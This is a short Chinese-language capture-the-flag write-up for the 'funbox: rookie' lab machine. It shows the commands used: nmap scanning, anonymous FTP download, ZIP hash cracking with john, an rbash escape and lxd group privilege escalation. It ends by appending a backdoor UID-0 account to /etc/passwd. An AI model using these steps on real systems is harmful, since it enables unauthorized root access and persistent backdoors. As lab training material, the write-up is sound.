funbox: rookie Writeup
信息收集
靶机IP:192.168.10.57
Kali:192.168.10.12
先使用nmap扫描:nmap -T4 -v -p- -A -oA nmap 192.168.10.57
开放端口:21 22 80
习惯性dirb发现一个logs,访问是404,看到ftp能匿名访问,登录发现类似用户名的压缩包,全部get到本地。
压缩包破解
下载后先阅读.@admins、.@users、welcome.msg。发现.@admins类似base64
使用echo 'SGkgQWRtaW5zLAoKYmUgY2FyZWZ1bGwgd2l0aCB5b3VyIGtleXMuIEZpbmQgdGhlbSBpbiAleW91cm5hbWUlLnppcC4KVGhlIHBhc3N3b3JkcyBhcmUgdGhlIG9sZCBvbmVzLgoKUmVnYXJkcwpyb290' |base64 -d
解密后发现没什么东西,和.@users类似。
还发现压缩包大小都是一样的,使用zip2john取出全部压缩包的hash:zip2john *.zip >> hash
然后使用john破解hash:john hash --wordlist=/usr/share/wordlists/rockyou.txt
破解出两个密码,使用密码解压对应的文件
用户登录
使用解压的密钥登录tom账号,tab不能补全命令,发现rbash限制用户执行的命令,使用bash -i即可绕过。
输入id后发现tom在lxd组,可以使用lxd提权。
权限提升
把之前编译的lxd提权包下载到本地,使用脚本即可提权成功。
由于现在是在容器里面读取,如果需要完美的进入宿主机器,可以在passwd文件写一个账号
生成一个密码:openssl passwd -1 admin
构造一个用户名:rOOt:$1$Y6W9y42e$RbrNLaswviyaMulMUNTK6/:0:0:root:/root:/bin/bash
追加写入到passwd : echo 'rOOt:$1$Y6W9y42e$RbrNLaswviyaMulMUNTK6/:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
退出容器,切换到rOOt用户,密码admin,即可完美提权。
alpine包编译:https://www.xpctf.cn/posts/3bac/#lxd%E5%92%8Clxc%E6%8F%90%E6%9D%83